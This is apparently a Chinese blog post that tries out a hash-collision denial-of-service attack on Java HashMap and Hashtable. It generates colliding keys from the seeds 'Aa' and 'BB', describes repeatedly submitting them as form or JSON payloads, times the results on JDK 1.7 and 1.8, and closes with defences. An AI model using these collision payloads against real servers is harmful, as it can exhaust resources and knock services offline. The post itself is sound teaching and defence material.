java Hash碰撞攻击
看到一篇讲述Hash碰撞攻击的文章。我从来没有注意过这个问题，所以亲手实践一下。
参考：https://yq.aliyun.com/articles/92194?t=t1
一、攻击原理
在HashMap中，元素的位置是由key决定的。我们对key进行一系列的hash算法，从而决定该元素的bucket位置。如果该位置存在复数元素，那么将形成链表。
元素应该尽量离散（存在不同位置的bucket中），操作效率才会高。理想状况如下：
那么问题来了：hash算法是非随机的，如果存在一系列不同的key，这些key计算得到的hash值都是相同的，那么所有key所在的bucket位置都相同，那么HashMap中某位置的链表将会无限延长。
如果链表超长，那么该HashMap查询和插入的效率将会变低，进行操作时将占用大量系统资源。
所有和HashMap数据结构相近的集合（比如HashTable），都会遇到这个问题。
二、具体攻击步骤
（1）获取种子
在Java里，Aa和BB这两个字符串的hash code(或hash key) 是一样的，也就是Collision。
写个测试验证一下：
TestHash.java
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
package com.test.testAttack; public class TestHash { static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); } public static void main(String[] args) { System.out.println(hash("Aa")); System.out.println(hash("BB")); } } |
结果为：
|
1 2 |
2112 2112 |
到这里我们得到了两个种子“Aa”和“BB”。
（2）生成更多攻击数据
于是，我们就可以组合这两个种子生成更多的hash key相同的字符串。比如：”AaAa”, “AaBB”, “BBAa”, “BBBB”。其实就是一个排列组合，写个程序就搞定了。
我们可以不停进行迭代，从而拥有更多组合。
|
1 2 3 4 5 |
"AaAaAaAa", "AaAaBBBB", "AaAaAaBB", "AaAaBBAa", "BBBBAaAa", "BBBBBBBB", "BBBBAaBB", "BBBBBBAa", "AaBBAaAa", "AaBBBBBB", "AaBBAaBB", "AaBBBBAa", "BBAaAaAa", "BBAaBBBB", "BBAaAaBB", "BBAaBBAa", ...... |
在实际构造攻击数据时，不会采用以上方法。具体方法可以参考：
http://www.xie4ever.com/2017/06/16/java-%E5%A6%82%E4%BD%95%E7%94%9F%E6%88%90hash%E6%94%BB%E5%87%BB%E6%95%B0%E6%8D%AE%EF%BC%9F/
（3）构造攻击请求并提交
1.表单提交
把所有攻击数据构造成Post请求，写个循环不停地提交。如果服务端通过HashMap保存Post过来的数据，将会不停地插入/查询，最终形成超长链表，耗尽服务端所有的资源。
2.json提交
现在的接口基本上都使用json接收数据。可以把攻击数据构造成json，例如：
https://raw.githubusercontent.com/laynefyc/php_thread_demo/master/javaHash.json
然后写一个循环不停提交。如果服务端在解析json时使用了Hash家族的集合（比如使用Jackson把json解析成HashMap（当然这种情况不多，我一般都是解析为List多一些）），同样会形成超长链表，下场同上。
三、攻击效果
（1）jdk 1.8
TestAttack.java
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
package com.test.testAttack; import java.io.BufferedReader; import java.io.FileReader; import java.io.IOException; import java.util.HashMap; import java.util.Map; import com.fasterxml.jackson.core.JsonParseException; import com.fasterxml.jackson.databind.JsonMappingException; import com.fasterxml.jackson.databind.ObjectMapper; public class TestAttack { public static void test() { String json = ""; try { FileReader fileReader = new FileReader("json.log");// 需要读取的文件路径 BufferedReader bufferedReader = new BufferedReader(fileReader); json = bufferedReader.readLine(); bufferedReader.close(); fileReader.close(); // 关闭文件流 } catch (IOException e) { System.out.println("指定文件不存在");// 处理异常 e.printStackTrace(); } long start = System.currentTimeMillis(); Map<String, Object> map = new HashMap<String, Object>(); try { map = new ObjectMapper().readValue(json, HashMap.class); } catch (JsonParseException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (JsonMappingException e) { // TODO Auto-generated catch block e.printStackTrace(); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println(System.currentTimeMillis() - start); } public static void main(String[] args) { test(); } } |
运行结果为：
|
1 |
1519 |
只需要运行1.5秒左右。可以发现，在jdk 1.8中，对HashMap的攻击毫无效果。主要是因为jdk 1.8中重写了HashMap，在链表长度大于8时，会使用红黑树记录元素，无法形成超长链表。
对于json解析库，在jdk 1.8中，Jackson中用LinkeHashMap来保存数据，所以也不会受到攻击影响。
但是，如果把这里的HashMap换成HashTable，可以形成超长链表，起到攻击效果。
运行结果为：
|
1 |
41622 |
大概运行了40s。出乎的我意料的是，消耗的系统资源没有想象中多（cpu使用率只有27%左右）。推测为Jackson对解析过程进行了优化，在此不继续讨论。
问题是，这里的攻击数据毕竟有限，而且没有多次提交。实际攻击时可以构造拥有上千万条键值对的json/多次请求，此时的效果才会明显。
（2）jdk 1.7
我本机的jdk版本为1.8，只好找了一台jdk 1.7的云服务器来进行测试。但是这台linux服务器配置（只有一个单核cpu）比为本机要低很多，所以没有什么可比性，只能简单看看攻击效果。
尝试攻击HashMap，最后结果为53s，cpu使用率达到了72%（但是这台服务器是单核cpu，cpu使用率肯定高很多），攻击效果比较明显。攻击HashTable的结果也差不多。
四、防范方法
我个人认为有以下几种方法：
（1）更新jdk版本至1.8，可以有效防止HashMap被攻击。
（2）尽量使用HashMap，不要使用HashTable。如果实在要使用HashTable，建议重写。
（3）增加权限验证机制，建立黑名单，在解析json之前就拒绝非法用户的请求，从而避免处理非法数据。
（4）在解析json之前做数据大小与参数白名单验证。
（5）如果旧项目的改造与维护成本如果很高，建议重写json解析的方法。
五、总结
还是那句话，不要相信任何的用户输入。小心驶得万年船。